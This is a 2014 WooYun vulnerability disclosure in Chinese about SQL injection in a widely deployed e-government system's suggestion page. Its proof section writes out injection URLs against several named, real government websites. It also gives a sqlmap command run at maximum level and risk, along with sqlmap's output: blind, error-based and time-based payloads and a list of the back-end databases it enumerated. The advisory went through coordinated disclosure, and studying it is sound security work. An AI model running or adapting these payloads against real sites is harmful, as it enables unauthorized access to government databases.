当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076739

漏洞标题:某通用型电子政务系统SQL注入漏洞(二)

相关厂商:国家应急响应中心

漏洞作者: 路人甲

提交时间:2014-09-20 20:44

修复时间:2014-11-04 20:46

公开时间:2014-11-04 20:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-20: 细节已通知厂商并且等待厂商处理中
2014-09-25: 厂商已经确认,细节仅向厂商公开
2014-10-05: 细节向核心白帽子及相关领域专家公开
2014-10-15: 细节向普通白帽子公开
2014-10-25: 细节向实习白帽子公开
2014-11-04: 细节向公众公开

简要描述:

某通用型电子政务系统存在SQL注入漏洞,影响众多政府网

详细说明:

该电子政务系统存由深圳市北斗星科技有限公司开发
官网:http://www.7stars.net.cn/
客户案例:http://www.7stars.net.cn/successful%20case
---------------------------------------------
北斗星电子政务系统在“发表意见”页面存在SQL注入
注入链接: /sssweb/SuggestionCollection/PostSuggestion.aspx?ID=
---------------------------------------------

漏洞证明:

以http://www.zhengxiang.gov.cn 作为演示案例
测试链接:http://www.zhengxiang.gov.cn/sssweb/SuggestionCollection/PostSuggestion.aspx?ID=1
1)报错注入
http://www.zhengxiang.gov.cn/sssweb/SuggestionCollection/PostSuggestion.aspx?ID=1'+and+1=@@version+and+'a'='a

1.png


2)Sqlmap注入
$ py sqlmap.py -u http://www.zhengxiang.gov.cn/sssweb/SuggestionCollection/PostSuggestion.aspx?ID=1 --dbms mssql --level 5 --risk 3 --dbs -v 1
---
Place: GET
Parameter: ID
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: ID=-1816' OR (8309=8309) AND 'SYyF'='SYyF
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: ID=-6603' OR 8928=CONVERT(INT,(SELECT CHAR(113)+CHAR(111)+CHAR(112)+CHAR(101)+CHAR(113)+(SELECT (CASE WHEN (8928=892
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: ID=-7212' OR 9951=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers
---
[16:30:43] [INFO] testing Microsoft SQL Server
[16:30:44] [WARNING] reflective value(s) found and filtering out
[16:30:44] [INFO] confirming Microsoft SQL Server
[16:30:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server Unknown
[16:30:44] [INFO] fetching database names
[16:30:44] [INFO] the SQL query used returns 10 entries
[16:30:44] [INFO] resumed: dbsssdesk
[16:30:44] [INFO] resumed: dbssssso
[16:30:45] [INFO] resumed: master
[16:30:45] [INFO] resumed: model
[16:30:45] [INFO] resumed: msdb
[16:30:45] [INFO] resumed: oldsapp
[16:30:45] [INFO] resumed: SAPP
[16:30:45] [INFO] resumed: tempdb
[16:30:45] [INFO] resumed: zx_news
[16:30:45] [INFO] resumed: zx_news_bbs
available databases [10]:
[*] dbsssdesk
[*] dbssssso
[*] master
[*] model
[*] msdb
[*] oldsapp
[*] SAPP
[*] tempdb
[*] zx_news
[*] zx_news_bbs

2.png


其他测试案例:
http://www.hengshan.gov.cn/sssweb/SuggestionCollection/PostSuggestion.aspx?ID=1'+and+1=@@version+and+'a'='a

1.png


http://www.zhengxiang.gov.cn/sssweb/SuggestionCollection/PostSuggestion.aspx?ID=1'+and+1=@@version+and+'a'='a

2.png


http://www.hyyfq.gov.cn/sssweb/SuggestionCollection/PostSuggestion.aspx?ID=1'+and+1=@@version+and+'a'='a

3.png


http://www.hengdong.gov.cn/sssweb/SuggestionCollection/PostSuggestion.aspx?ID=1'+and+1=@@version+and+'a'='a

4.png

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-09-25 13:23

厂商回复:

最新状态:

暂无


漏洞评价:

评论